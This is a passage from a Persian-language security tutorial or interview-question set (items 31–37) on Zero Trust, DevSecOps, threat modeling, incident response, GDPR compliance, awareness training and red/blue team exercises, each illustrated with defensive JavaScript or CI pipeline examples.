            name: user.name
        };
    }
    
    // بررسی قدرت رمز عبور
    isStrongPassword(password) {
        return password.length >= 8 &&
               /[a-z]/.test(password) &&
               /[A-Z]/.test(password) &&
               /[0-9]/.test(password) &&
               /[^a-zA-Z0-9]/.test(password);
    }
    
    // دریافت کاربر با ایمیل
    async getUserByEmail(email) {
        const query = 'SELECT * FROM users WHERE email = ?';
        const results = await this.db.query(query, [email]);
        return results[0] || null;
    }
}

// استفاده
const userManager = new SecureUserManager(database);

try {
    const newUser = await userManager.createUser({
        email: '[email protected]',
        password: 'StrongP@ssw0rd!',
        name: 'John Doe'
    });
    console.log('User created successfully:', newUser);
} catch (error) {
    console.error('Error creating user:', error.message);
}
نکته: امنیت باید از همان ابتدای توسعه در نظر گرفته شود، نه به عنوان یک افزودنی بعدی.

31. مفهوم Zero Trust Security چیست؟

پاسخ:

Zero Trust Security یک مدل امنیتی است که بر اساس اصل "هرگز اعتماد نکن، همیشه تأیید کن" عمل می‌کند و هیچ کاربر یا دستگاهی را به طور پیش‌فرض قابل اعتماد نمی‌داند.

اصول Zero Trust:
  • Never Trust, Always Verify: هرگز اعتماد نکن، همیشه تأیید کن
  • Least Privilege Access: حداقل دسترسی لازم
  • Assume Breach: فرض کن که نفوذ رخ داده
  • Verify Explicitly: تأیید صریح هویت
مؤلفه‌های Zero Trust:
  • Identity Verification: تأیید هویت
  • Device Security: امنیت دستگاه
  • Network Segmentation: بخش‌بندی شبکه
  • Application Security: امنیت برنامه
  • Data Protection: محافظت از داده
// پیاده‌سازی Zero Trust در API
const jwt = require('jsonwebtoken');

// Middleware تأیید هویت چندمرحله‌ای
function zeroTrustAuth(req, res, next) {
    // مرحله 1: بررسی JWT Token
    const token = req.headers.authorization?.split(' ')[1];
    if (!token) {
        return res.status(401).json({ error: 'No token provided' });
    }
    
    let decoded;
    try {
        decoded = jwt.verify(token, process.env.JWT_SECRET);
    } catch (error) {
        return res.status(401).json({ error: 'Invalid token' });
    }
    
    // مرحله 2: بررسی وضعیت کاربر
    const user = getUserById(decoded.userId);
    if (!user || !user.isActive) {
        return res.status(401).json({ error: 'User not active' });
    }
    
    // مرحله 3: بررسی IP و مکان
    const clientIP = req.ip;
    if (!isIPAllowed(user.id, clientIP)) {
        logSecurityEvent('Suspicious IP access', { userId: user.id, ip: clientIP });
        return res.status(403).json({ error: 'Access from unauthorized location' });
    }
    
    // مرحله 4: بررسی Device Fingerprint
    const deviceFingerprint = req.headers['x-device-fingerprint'];
    if (!isDeviceKnown(user.id, deviceFingerprint)) {
        // نیاز به تأیید اضافی
        return res.status(403).json({ 
            error: 'Unknown device', 
            requiresAdditionalAuth: true 
        });
    }
    
    // مرحله 5: بررسی سطح دسترسی برای منبع خاص
    const resource = req.path;
    const method = req.method;
    if (!hasPermission(user, resource, method)) {
        return res.status(403).json({ error: 'Insufficient permissions' });
    }
    
    req.user = user;
    next();
}

// تابع بررسی مجوزها
function hasPermission(user, resource, method) {
    const permissions = getUserPermissions(user.id);
    const requiredPermission = `${method}:${resource}`;
    
    return permissions.includes(requiredPermission) || 
           permissions.includes(`*:${resource}`) ||
           user.role === 'admin';
}

// لاگ‌گیری رویدادهای امنیتی
function logSecurityEvent(event, details) {
    console.log({
        timestamp: new Date().toISOString(),
        event: event,
        details: details,
        severity: 'HIGH'
    });
}

// استفاده
app.get('/api/sensitive-data', zeroTrustAuth, (req, res) => {
    // دسترسی فقط پس از تأیید کامل Zero Trust
    res.json({ data: 'Sensitive information' });
});
نکته: Zero Trust نیازمند تغییر فرهنگ سازمانی و پیاده‌سازی تدریجی است.

32. مفهوم DevSecOps چیست؟

پاسخ:

DevSecOps رویکردی است که امنیت را به عنوان بخشی جدایی‌ناپذیر از فرآیند DevOps در نظر می‌گیرد و آن را در تمام مراحل چرخه توسعه نرم‌افزار ادغام می‌کند.

اصول DevSecOps:
  • Shift Left Security: جابجایی امنیت به سمت چپ
  • Automation: خودکارسازی بررسی‌های امنیتی
  • Continuous Monitoring: نظارت مداوم
  • Shared Responsibility: مسئولیت مشترک
ابزارهای DevSecOps:
  • SAST: Static Application Security Testing
  • DAST: Dynamic Application Security Testing
  • SCA: Software Composition Analysis
  • Container Security: امنیت کانتینر
// مثال Pipeline امنیتی در CI/CD
# .github/workflows/security.yml
name: Security Pipeline

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v2
    
    # Static Code Analysis
    - name: Run ESLint Security
      run: |
        npm install eslint-plugin-security
        npx eslint --ext .js,.ts --config .eslintrc-security.js src/
    
    # Dependency Vulnerability Scan
    - name: Run npm audit
      run: npm audit --audit-level high
    
    # SAST with SonarQube
    - name: SonarQube Scan
      uses: sonarqube-quality-gate-action@master
      env:
        SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
    
    # Container Security Scan
    - name: Build Docker image
      run: docker build -t myapp:${{ github.sha }} .
    
    - name: Run Trivy vulnerability scanner
      uses: aquasecurity/trivy-action@master
      with:
        image-ref: 'myapp:${{ github.sha }}'
        format: 'sarif'
        output: 'trivy-results.sarif'
    
    # Secret Detection
    - name: Run GitLeaks
      uses: zricethezav/gitleaks-action@master
    
    # Infrastructure as Code Security
    - name: Run Checkov
      uses: bridgecrewio/checkov-action@master
      with:
        directory: ./terraform
        framework: terraform
Security Gates در Pipeline:
// مثال Security Gate در Node.js
const { execSync } = require('child_process');

class SecurityGate {
    static async runSecurityChecks() {
        const results = {
            passed: true,
            issues: []
        };
        
        try {
            // بررسی آسیب‌پذیری‌های dependencies
            console.log('Running dependency vulnerability scan...');
            execSync('npm audit --audit-level high', { stdio: 'inherit' });
            
            // بررسی کیفیت کد
            console.log('Running code quality checks...');
            execSync('npx eslint src/ --max-warnings 0', { stdio: 'inherit' });
            
            // بررسی secrets
            console.log('Scanning for secrets...');
            const secretScan = execSync('npx detect-secrets scan --all-files', { encoding: 'utf8' });
            if (secretScan.includes('"results": {}')) {
                console.log('✅ No secrets detected');
            } else {
                results.passed = false;
                results.issues.push('Potential secrets detected');
            }
            
            // بررسی license compliance
            console.log('Checking license compliance...');
            execSync('npx license-checker --onlyAllow "MIT;Apache-2.0;BSD-3-Clause"', { stdio: 'inherit' });
            
        } catch (error) {
            results.passed = false;
            results.issues.push(error.message);
        }
        
        return results;
    }
    
    static async deploymentGate() {
        console.log('🔒 Running Security Gate...');
        
        const securityResults = await this.runSecurityChecks();
        
        if (!securityResults.passed) {
            console.error('❌ Security Gate Failed!');
            console.error('Issues found:', securityResults.issues);
            process.exit(1);
        }
        
        console.log('✅ Security Gate Passed!');
        return true;
    }
}

// استفاده در deployment script
async function deploy() {
    await SecurityGate.deploymentGate();
    
    // ادامه deployment
    console.log('Proceeding with deployment...');
}

deploy().catch(console.error);
نکته: DevSecOps نیازمند فرهنگ‌سازی و آموزش تیم‌های توسعه است.

33. مفهوم Threat Modeling چیست؟

پاسخ:

Threat Modeling فرآیند سیستماتیک شناسایی، تحلیل و کاهش تهدیدات امنیتی در یک سیستم یا برنامه است.

مراحل Threat Modeling:
  1. Define: تعریف سیستم و مرزهای آن
  2. Identify: شناسایی تهدیدات
  3. Mitigate: کاهش تهدیدات
  4. Validate: اعتبارسنجی اقدامات
روش‌های Threat Modeling:
  • STRIDE: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege
  • PASTA: Process for Attack Simulation and Threat Analysis
  • OCTAVE: Operationally Critical Threat, Asset, and Vulnerability Evaluation
  • TRIKE: Risk-based approach
مثال STRIDE Analysis:
// مثال Threat Model برای سیستم احراز هویت
const threatModel = {
    system: "User Authentication System",
    components: [
        {
            name: "Login Form",
            threats: [
                {
                    type: "Spoofing",
                    description: "Attacker impersonates legitimate user",
                    impact: "High",
                    likelihood: "Medium",
                    mitigation: "Multi-factor authentication, strong password policy"
                },
                {
                    type: "Tampering",
                    description: "Form data manipulation",
                    impact: "Medium",
                    likelihood: "High",
                    mitigation: "Input validation, CSRF tokens"
                }
            ]
        },
        {
            name: "Session Management",
            threats: [
                {
                    type: "Information Disclosure",
                    description: "Session token exposure",
                    impact: "High",
                    likelihood: "Medium",
                    mitigation: "HTTPS, secure cookies, session rotation"
                },
                {
                    type: "Elevation of Privilege",
                    description: "Session hijacking",
                    impact: "High",
                    likelihood: "Low",
                    mitigation: "IP binding, device fingerprinting"
                }
            ]
        }
    ]
};

// تابع تحلیل ریسک
function calculateRisk(impact, likelihood) {
    const impactScore = { Low: 1, Medium: 2, High: 3 };
    const likelihoodScore = { Low: 1, Medium: 2, High: 3 };
    
    const score = impactScore[impact] * likelihoodScore[likelihood];
    
    if (score >= 6) return "Critical";
    if (score >= 4) return "High";
    if (score >= 2) return "Medium";
    return "Low";
}

// گزارش Threat Model
function generateThreatReport(model) {
    console.log(`Threat Model Report for: ${model.system}\n`);
    
    model.components.forEach(component => {
        console.log(`Component: ${component.name}`);
        console.log("Threats:");
        
        component.threats.forEach(threat => {
            const risk = calculateRisk(threat.impact, threat.likelihood);
            console.log(`  - ${threat.type}: ${threat.description}`);
            console.log(`    Risk Level: ${risk}`);
            console.log(`    Mitigation: ${threat.mitigation}\n`);
        });
    });
}

generateThreatReport(threatModel);
Data Flow Diagram (DFD):
// مثال ساده DFD برای وب اپلیکیشن
const dataFlowDiagram = {
    entities: [
        { id: "user", name: "User", type: "external" },
        { id: "admin", name: "Administrator", type: "external" }
    ],
    processes: [
        { id: "auth", name: "Authentication Process", trustBoundary: "web" },
        { id: "api", name: "API Server", trustBoundary: "backend" }
    ],
    dataStores: [
        { id: "userdb", name: "User Database", trustBoundary: "backend" },
        { id: "logs", name: "Audit Logs", trustBoundary: "backend" }
    ],
    dataFlows: [
        { from: "user", to: "auth", data: "Credentials", protocol: "HTTPS" },
        { from: "auth", to: "api", data: "Validated Request", protocol: "Internal" },
        { from: "api", to: "userdb", data: "User Query", protocol: "SQL" },
        { from: "api", to: "logs", data: "Audit Event", protocol: "Internal" }
    ]
};

// تحلیل Trust Boundaries
function analyzeTrustBoundaries(dfd) {
    const boundaries = {};
    
    dfd.dataFlows.forEach(flow => {
        const fromBoundary = getTrustBoundary(flow.from, dfd);
        const toBoundary = getTrustBoundary(flow.to, dfd);
        
        if (fromBoundary !== toBoundary) {
            const key = `${fromBoundary} -> ${toBoundary}`;
            if (!boundaries[key]) boundaries[key] = [];
            boundaries[key].push(flow);
        }
    });
    
    console.log("Trust Boundary Crossings:");
    Object.entries(boundaries).forEach(([boundary, flows]) => {
        console.log(`${boundary}:`);
        flows.forEach(flow => {
            console.log(`  - ${flow.data} (${flow.protocol})`);
        });
    });
}

function getTrustBoundary(entityId, dfd) {
    const entity = dfd.entities.find(e => e.id === entityId) ||
                  dfd.processes.find(p => p.id === entityId) ||
                  dfd.dataStores.find(d => d.id === entityId);
    
    return entity?.trustBoundary || "external";
}
نکته: Threat Modeling باید در مراحل اولیه طراحی انجام شود و به طور مداوم به‌روزرسانی شود.

34. مفهوم Security Incident Response چیست؟

پاسخ:

Security Incident Response فرآیند سازمان‌یافته برای شناسایی، مدیریت و بازیابی از حوادث امنیتی است.

مراحل Incident Response:
  1. Preparation: آماده‌سازی و برنامه‌ریزی
  2. Identification: شناسایی حادثه
  3. Containment: مهار حادثه
  4. Eradication: ریشه‌کنی تهدید
  5. Recovery: بازیابی سیستم‌ها
  6. Lessons Learned: درس‌آموزی
انواع حوادث امنیتی:
  • Data Breach: نقض داده
  • Malware Infection: آلودگی به بدافزار
  • DDoS Attack: حمله انکار سرویس
  • Insider Threat: تهدید داخلی
  • System Compromise: نفوذ به سیستم
// سیستم هشدار و پاسخ به حوادث
class SecurityIncidentResponse {
    constructor() {
        this.incidents = [];
        this.alertThresholds = {
            failedLogins: 5,
            suspiciousIPs: 3,
            dataAccess: 100
        };
    }
    
    // شناسایی حادثه
    detectIncident(event) {
        const incident = this.analyzeEvent(event);
        if (incident) {
            this.createIncident(incident);
            this.triggerResponse(incident);
        }
    }
    
    analyzeEvent(event) {
        switch (event.type) {
            case 'failed_login':
                return this.checkFailedLogins(event);
            case 'suspicious_ip':
                return this.checkSuspiciousIP(event);
            case 'data_access':
                return this.checkDataAccess(event);
            default:
                return null;
        }
    }
    
    checkFailedLogins(event) {
        const recentFailures = this.getRecentEvents('failed_login', event.userId, 300); // 5 دقیقه
        
        if (recentFailures.length >= this.alertThresholds.failedLogins) {
            return {
                type: 'brute_force_attack',
                severity: 'HIGH',
                description: `${recentFailures.length} failed login attempts for user ${event.userId}`,
                affectedUser: event.userId,
                sourceIP: event.ip,
                timestamp: new Date()
            };
        }
        return null;
    }
    
    checkSuspiciousIP(event) {
        const ipHistory = this.getIPHistory(event.ip);
        
        if (ipHistory.countries.length > 2 && ipHistory.timeSpan < 3600) { // 1 ساعت
            return {
                type: 'impossible_travel',
                severity: 'MEDIUM',
                description: `IP ${event.ip} accessed from multiple countries`,
                sourceIP: event.ip,
                timestamp: new Date()
            };
        }
        return null;
    }
    
    // ایجاد حادثه
    createIncident(incidentData) {
        const incident = {
            id: this.generateIncidentId(),
            ...incidentData,
            status: 'OPEN',
            assignee: null,
            timeline: [
                {
                    timestamp: new Date(),
                    action: 'INCIDENT_CREATED',
                    details: 'Incident automatically detected and created'
                }
            ]
        };
        
        this.incidents.push(incident);
        this.logIncident(incident);
        
        return incident;
    }
    
    // پاسخ خودکار
    triggerResponse(incident) {
        switch (incident.type) {
            case 'brute_force_attack':
                this.blockIP(incident.sourceIP);
                this.lockUserAccount(incident.affectedUser);
                this.notifySecurityTeam(incident);
                break;
                
            case 'impossible_travel':
                this.flagIPForReview(incident.sourceIP);
                this.requireAdditionalAuth(incident.affectedUser);
                break;
                
            case 'data_breach':
                this.isolateAffectedSystems(incident.affectedSystems);
                this.notifyManagement(incident);
                this.preserveEvidence(incident);
                break;
        }
    }
    
    // اقدامات پاسخ
    blockIP(ip) {
        console.log(`🚫 Blocking IP: ${ip}`);
        // پیاده‌سازی block در firewall
    }
    
    lockUserAccount(userId) {
        console.log(`🔒 Locking user account: ${userId}`);
        // پیاده‌سازی قفل حساب کاربری
    }
    
    notifySecurityTeam(incident) {
        console.log(`📧 Notifying security team about incident: ${incident.id}`);
        // ارسال ایمیل/SMS به تیم امنیت
    }
    
    // به‌روزرسانی حادثه
    updateIncident(incidentId, update) {
        const incident = this.incidents.find(i => i.id === incidentId);
        if (incident) {
            incident.timeline.push({
                timestamp: new Date(),
                action: update.action,
                details: update.details,
                user: update.user
            });
            
            if (update.status) {
                incident.status = update.status;
            }
            
            this.logIncident(incident);
        }
    }
    
    // گزارش‌گیری
    generateIncidentReport(incidentId) {
        const incident = this.incidents.find(i => i.id === incidentId);
        if (!incident) return null;
        
        return {
            incidentId: incident.id,
            type: incident.type,
            severity: incident.severity,
            description: incident.description,
            timeline: incident.timeline,
            duration: this.calculateDuration(incident),
            impact: this.assessImpact(incident),
            lessonsLearned: incident.lessonsLearned || []
        };
    }
    
    generateIncidentId() {
        return `INC-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
    }
    
    logIncident(incident) {
        console.log(`[INCIDENT] ${incident.id}: ${incident.description}`);
    }
}

// استفاده
const incidentResponse = new SecurityIncidentResponse();

// شبیه‌سازی رویداد
incidentResponse.detectIncident({
    type: 'failed_login',
    userId: 'john_doe',
    ip: '192.168.1.100',
    timestamp: new Date()
});
نکته: داشتن برنامه Incident Response از پیش تعریف شده، زمان پاسخ را کاهش می‌دهد.

35. مفهوم Security Compliance چیست؟

پاسخ:

Security Compliance رعایت قوانین، مقررات، استانداردها و چارچوب‌های امنیتی است که سازمان‌ها موظف به پیروی از آن‌ها هستند.

استانداردهای مهم Compliance:
  • GDPR: General Data Protection Regulation
  • PCI DSS: Payment Card Industry Data Security Standard
  • HIPAA: Health Insurance Portability and Accountability Act
  • SOX: Sarbanes-Oxley Act
  • ISO 27001: Information Security Management
الزامات GDPR:
  • Data Minimization: حداقل داده‌های لازم
  • Consent Management: مدیریت رضایت
  • Right to be Forgotten: حق فراموشی
  • Data Portability: قابلیت انتقال داده
  • Breach Notification: اطلاع‌رسانی نقض
// پیاده‌سازی GDPR Compliance
class GDPRCompliance {
    constructor(database) {
        this.db = database;
        this.consentTypes = ['marketing', 'analytics', 'functional'];
    }
    
    // مدیریت رضایت
    async recordConsent(userId, consentData) {
        const consent = {
            userId: userId,
            consentTypes: consentData.types,
            timestamp: new Date(),
            ipAddress: consentData.ip,
            userAgent: consentData.userAgent,
            version: '1.0'
        };
        
        await this.db.query(
            'INSERT INTO user_consents (user_id, consent_data, created_at) VALUES (?, ?, ?)',
            [userId, JSON.stringify(consent), consent.timestamp]
        );
        
        console.log(`Consent recorded for user ${userId}`);
        return consent;
    }
    
    // بررسی رضایت
    async checkConsent(userId, consentType) {
        const result = await this.db.query(
            'SELECT consent_data FROM user_consents WHERE user_id = ? ORDER BY created_at DESC LIMIT 1',
            [userId]
        );
        
        if (result.length === 0) return false;
        
        const consent = JSON.parse(result[0].consent_data);
        return consent.consentTypes.includes(consentType);
    }
    
    // حق دسترسی به داده (Right of Access)
    async exportUserData(userId) {
        const userData = {
            personalInfo: await this.getUserPersonalInfo(userId),
            activityLogs: await this.getUserActivityLogs(userId),
            consents: await this.getUserConsents(userId),
            exportDate: new Date().toISOString()
        };
        
        // لاگ‌گیری درخواست export
        await this.logDataAccess(userId, 'DATA_EXPORT');
        
        return userData;
    }
    
    // حق فراموشی (Right to be Forgotten)
    async deleteUserData(userId, reason) {
        try {
            // شروع transaction
            await this.db.beginTransaction();
            
            // حذف داده‌های شخصی
            await this.db.query('DELETE FROM user_profiles WHERE user_id = ?', [userId]);
            await this.db.query('DELETE FROM user_preferences WHERE user_id = ?', [userId]);
            
            // anonymize کردن لاگ‌ها (نه حذف کامل)
            await this.db.query(
                'UPDATE activity_logs SET user_id = NULL, anonymized = TRUE WHERE user_id = ?',
                [userId]
            );
            
            // ثبت درخواست حذف
            await this.db.query(
                'INSERT INTO deletion_requests (user_id, reason, processed_at) VALUES (?, ?, ?)',
                [userId, reason, new Date()]
            );
            
            await this.db.commit();
            
            console.log(`User data deleted for user ${userId}, reason: ${reason}`);
            return true;
            
        } catch (error) {
            await this.db.rollback();
            throw error;
        }
    }
    
    // اطلاع‌رسانی نقض داده
    async reportDataBreach(breachData) {
        const breach = {
            id: this.generateBreachId(),
            description: breachData.description,
            affectedUsers: breachData.affectedUsers,
            dataTypes: breachData.dataTypes,
            discoveredAt: new Date(),
            severity: this.assessBreachSeverity(breachData),
            reportedToAuthority: false
        };
        
        // ذخیره در پایگاه داده
        await this.db.query(
            'INSERT INTO data_breaches (breach_id, breach_data, created_at) VALUES (?, ?, ?)',
            [breach.id, JSON.stringify(breach), breach.discoveredAt]
        );
        
        // اطلاع‌رسانی در صورت لزوم (72 ساعت)
        if (breach.severity === 'HIGH') {
            await this.notifyDataProtectionAuthority(breach);
            await this.notifyAffectedUsers(breach);
        }
        
        return breach;
    }
    
    // ارزیابی شدت نقض
    assessBreachSeverity(breachData) {
        if (breachData.dataTypes.includes('financial') || 
            breachData.dataTypes.includes('health') ||
            breachData.affectedUsers > 1000) {
            return 'HIGH';
        }
        
        if (breachData.affectedUsers > 100) {
            return 'MEDIUM';
        }
        
        return 'LOW';
    }
    
    // گزارش compliance
    async generateComplianceReport() {
        const report = {
            reportDate: new Date(),
            consentMetrics: await this.getConsentMetrics(),
            dataRequests: await this.getDataRequestMetrics(),
            breaches: await this.getBreachMetrics(),
            retentionCompliance: await this.checkRetentionCompliance()
        };
        
        return report;
    }
    
    async getConsentMetrics() {
        const result = await this.db.query(`
            SELECT 
                COUNT(*) as total_users,
                SUM(CASE WHEN consent_data LIKE '%marketing%' THEN 1 ELSE 0 END) as marketing_consent,
                SUM(CASE WHEN consent_data LIKE '%analytics%' THEN 1 ELSE 0 END) as analytics_consent
            FROM user_consents
        `);
        
        return result[0];
    }
    
    generateBreachId() {
        return `BREACH-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
    }
}

// استفاده
const gdprCompliance = new GDPRCompliance(database);

// ثبت رضایت کاربر
await gdprCompliance.recordConsent('user123', {
    types: ['functional', 'analytics'],
    ip: '192.168.1.1',
    userAgent: 'Mozilla/5.0...'
});
نکته: Compliance نیازمند نظارت مداوم و به‌روزرسانی منظم فرآیندها است.

36. مفهوم Security Awareness Training چیست؟

پاسخ:

Security Awareness Training فرآیند آموزش کارکنان و کاربران در مورد تهدیدات امنیتی، بهترین روش‌ها و نحوه تشخیص و پاسخ به حملات سایبری است.

اهداف Security Awareness:
  • Risk Recognition: تشخیص ریسک‌ها
  • Behavior Change: تغییر رفتار
  • Incident Reporting: گزارش حوادث
  • Compliance: رعایت مقررات
موضوعات آموزشی:
  • Phishing Recognition: تشخیص فیشینگ
  • Password Security: امنیت رمز عبور
  • Social Engineering: مهندسی اجتماعی
  • Data Protection: محافظت از داده
  • Mobile Security: امنیت موبایل
// سیستم آموزش آگاهی امنیتی
class SecurityAwarenessTraining {
    constructor() {
        this.trainingModules = [];
        this.userProgress = new Map();
        this.phishingSimulations = [];
    }
    
    // ایجاد ماژول آموزشی
    createTrainingModule(moduleData) {
        const module = {
            id: this.generateModuleId(),
            title: moduleData.title,
            description: moduleData.description,
            content: moduleData.content,
            quiz: moduleData.quiz,
            duration: moduleData.duration,
            mandatory: moduleData.mandatory || false,
            createdAt: new Date()
        };
        
        this.trainingModules.push(module);
        return module;
    }
    
    // ثبت نام کاربر در آموزش
    enrollUser(userId, moduleId) {
        const progress = {
            userId: userId,
            moduleId: moduleId,
            status: 'ENROLLED',
            startedAt: new Date(),
            completedAt: null,
            score: null,
            attempts: 0
        };
        
        const key = `${userId}-${moduleId}`;
        this.userProgress.set(key, progress);
        
        console.log(`User ${userId} enrolled in module ${moduleId}`);
        return progress;
    }
    
    // تکمیل ماژول
    completeModule(userId, moduleId, quizAnswers) {
        const key = `${userId}-${moduleId}`;
        const progress = this.userProgress.get(key);
        
        if (!progress) {
            throw new Error('User not enrolled in this module');
        }
        
        const module = this.trainingModules.find(m => m.id === moduleId);
        const score = this.calculateQuizScore(module.quiz, quizAnswers);
        
        progress.attempts += 1;
        progress.score = score;
        progress.completedAt = new Date();
        progress.status = score >= 80 ? 'COMPLETED' : 'FAILED';
        
        // ارسال گواهی در صورت موفقیت
        if (progress.status === 'COMPLETED') {
            this.issueCertificate(userId, moduleId, score);
        }
        
        return progress;
    }
    
    // شبیه‌سازی فیشینگ
    createPhishingSimulation(simulationData) {
        const simulation = {
            id: this.generateSimulationId(),
            name: simulationData.name,
            template: simulationData.template,
            targetUsers: simulationData.targetUsers,
            scheduledAt: simulationData.scheduledAt,
            results: [],
            status: 'SCHEDULED'
        };
        
        this.phishingSimulations.push(simulation);
        
        // برنامه‌ریزی ارسال
        this.schedulePhishingEmail(simulation);
        
        return simulation;
    }
    
    // ارسال ایمیل فیشینگ شبیه‌سازی شده
    schedulePhishingEmail(simulation) {
        setTimeout(() => {
            simulation.targetUsers.forEach(userId => {
                this.sendPhishingEmail(userId, simulation);
            });
            simulation.status = 'SENT';
        }, simulation.scheduledAt - Date.now());
    }
    
    sendPhishingEmail(userId, simulation) {
        const trackingId = this.generateTrackingId();
        
        // شبیه‌سازی ارسال ایمیل
        console.log(`Sending phishing simulation to user ${userId}`);
        
        // ثبت ارسال
        simulation.results.push({
            userId: userId,
            trackingId: trackingId,
            sentAt: new Date(),
            clicked: false,
            reported: false
        });
    }
    
    // ثبت کلیک روی لینک فیشینگ
    recordPhishingClick(trackingId) {
        const simulation = this.phishingSimulations.find(s => 
            s.results.some(r => r.trackingId === trackingId)
        );
        
        if (simulation) {
            const result = simulation.results.find(r => r.trackingId === trackingId);
            result.clicked = true;
            result.clickedAt = new Date();
            
            // ارسال آموزش فوری
            this.sendImmediateTraining(result.userId);
            
            console.log(`User ${result.userId} clicked phishing link - immediate training sent`);
        }
    }
    
    // گزارش آگاهی امنیتی
    generateAwarenessReport() {
        const report = {
            reportDate: new Date(),
            trainingMetrics: this.getTrainingMetrics(),
            phishingMetrics: this.getPhishingMetrics(),
            complianceStatus: this.getComplianceStatus()
        };
        
        return report;
    }
    
    getTrainingMetrics() {
        const totalUsers = new Set([...this.userProgress.keys()].map(k => k.split('-')[0])).size;
        const completedTrainings = [...this.userProgress.values()].filter(p => p.status === 'COMPLETED').length;
        const averageScore = this.calculateAverageScore();
        
        return {
            totalUsers,
            completedTrainings,
            completionRate: (completedTrainings / totalUsers * 100).toFixed(2),
            averageScore
        };
    }
    
    getPhishingMetrics() {
        const totalSimulations = this.phishingSimulations.length;
        const totalEmails = this.phishingSimulations.reduce((sum, s) => sum + s.results.length, 0);
        const totalClicks = this.phishingSimulations.reduce((sum, s) => 
            sum + s.results.filter(r => r.clicked).length, 0);
        const totalReports = this.phishingSimulations.reduce((sum, s) => 
            sum + s.results.filter(r => r.reported).length, 0);
        
        return {
            totalSimulations,
            totalEmails,
            clickRate: totalEmails > 0 ? (totalClicks / totalEmails * 100).toFixed(2) : 0,
            reportRate: totalEmails > 0 ? (totalReports / totalEmails * 100).toFixed(2) : 0
        };
    }
    
    calculateQuizScore(quiz, answers) {
        let correct = 0;
        quiz.questions.forEach((question, index) => {
            if (question.correctAnswer === answers[index]) {
                correct++;
            }
        });
        
        return Math.round((correct / quiz.questions.length) * 100);
    }
    
    generateModuleId() {
        return `MODULE-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
    }
    
    generateSimulationId() {
        return `SIM-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
    }
    
    generateTrackingId() {
        return `TRACK-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
    }
}

// استفاده
const awarenessTraining = new SecurityAwarenessTraining();

// ایجاد ماژول آموزشی
const phishingModule = awarenessTraining.createTrainingModule({
    title: "Phishing Recognition",
    description: "Learn to identify and respond to phishing attacks",
    content: "...",
    quiz: {
        questions: [
            {
                question: "What is a common sign of a phishing email?",
                options: ["Urgent language", "Spelling errors", "Suspicious links", "All of the above"],
                correctAnswer: 3
            }
        ]
    },
    duration: 30,
    mandatory: true
});

// ثبت نام کاربر
awarenessTraining.enrollUser('user123', phishingModule.id);
نکته: آموزش آگاهی امنیتی باید مداوم، تعاملی و متناسب با نقش کاربران باشد.

37. مفهوم Red Team vs Blue Team چیست؟

پاسخ:

Red Team vs Blue Team رویکردی در امنیت سایبری است که شامل دو تیم مخالف برای تست و بهبود دفاع‌های امنیتی سازمان است.

Red Team (تیم قرمز):
  • نقش: شبیه‌سازی مهاجمان
  • هدف: نفوذ به سیستم‌ها
  • روش‌ها: Penetration Testing، Social Engineering
  • ابزارها: Metasploit، Cobalt Strike، Custom Tools
Blue Team (تیم آبی):
  • نقش: دفاع و نظارت
  • هدف: تشخیص و مقابله با حملات
  • روش‌ها: Monitoring، Incident Response
  • ابزارها: SIEM، IDS/IPS، Forensics Tools
Purple Team (تیم بنفش):
  • نقش: همکاری Red و Blue Team
  • هدف: بهبود مشترک دفاع‌ها
  • روش‌ها: Collaborative Testing
// شبیه‌سازی Red Team vs Blue Team Exercise
class RedBlueTeamExercise {
    constructor() {
        this.redTeamActions = [];
        this.blueTeamDetections = [];
        this.timeline = [];
        this.score = { red: 0, blue: 0 };
    }
    
    // Red Team Actions
    redTeamRecon(target) {
        const action = {
            type: 'RECONNAISSANCE',
            target: target,
            timestamp: new Date(),
            detected: false,
            techniques: ['DNS enumeration', 'Port scanning', 'OSINT gathering']
        };
        
        this.redTeamActions.push(action);
        this.timeline.push({
            timestamp: action.timestamp,
            team: 'RED',
            action: `Reconnaissance on ${target}`,
            stealth: true
        });
        
        // شانس تشخیص پایین برای reconnaissance
        if (Math.random() < 0.2) {
            this.blueTeamDetect(action);
        }
        
        return action;
    }
    
    redTeamInitialAccess(method) {
        const action = {
            type: 'INITIAL_ACCESS',
            method: method,
            timestamp: new Date(),
            detected: false,
            success: Math.random() < 0.7 // 70% شانس موفقیت
        };
        
        this.redTeamActions.push(action);
        this.timeline.push({
            timestamp: action.timestamp,
            team: 'RED',
            action: `Initial access attempt via ${method}`,
            success: action.success
        });
        
        if (action.success) {
            this.score.red += 10;
            
            // شانس تشخیص بالاتر برای initial access
            if (Math.random() < 0.4) {
                this.blueTeamDetect(action);
            }
        }
        
        return action;
    }
    
    redTeamLateralMovement(fromHost, toHost) {
        const action = {
            type: 'LATERAL_MOVEMENT',
            fromHost: fromHost,
            toHost: toHost,
            timestamp: new Date(),
            detected: false,
            techniques: ['Pass-the-Hash', 'RDP', 'WMI']
        };
        
        this.redTeamActions.push(action);
        this.timeline.push({
            timestamp: action.timestamp,
            team: 'RED',
            action: `Lateral movement from ${fromHost} to ${toHost}`
        });
        
        // شانس تشخیص متوسط
        if (Math.random() < 0.3) {
            this.blueTeamDetect(action);
        }
        
        return action;
    }
    
    // Blue Team Detection
    blueTeamDetect(redAction) {
        const detection = {
            type: 'DETECTION',
            detectedAction: redAction.type,
            timestamp: new Date(),
            confidence: Math.random() * 100,
            source: this.getDetectionSource(redAction.type)
        };
        
        redAction.detected = true;
        this.blueTeamDetections.push(detection);
        this.score.blue += 5;
        
        this.timeline.push({
            timestamp: detection.timestamp,
            team: 'BLUE',
            action: `Detected ${redAction.type}`,
            confidence: detection.confidence.toFixed(1)
        });
        
        // اقدام پاسخ
        this.blueTeamRespond(detection);
        
        return detection;
    }
    
    blueTeamRespond(detection) {
        const response = {
            type: 'RESPONSE',
            trigger: detection.detectedAction,
            timestamp: new Date(),
            actions: this.getResponseActions(detection.detectedAction)
        };
        
        this.timeline.push({
            timestamp: response.timestamp,
            team: 'BLUE',
            action: `Response to ${detection.detectedAction}`,
            actions: response.actions
        });
        
        this.score.blue += 3;
        return response;
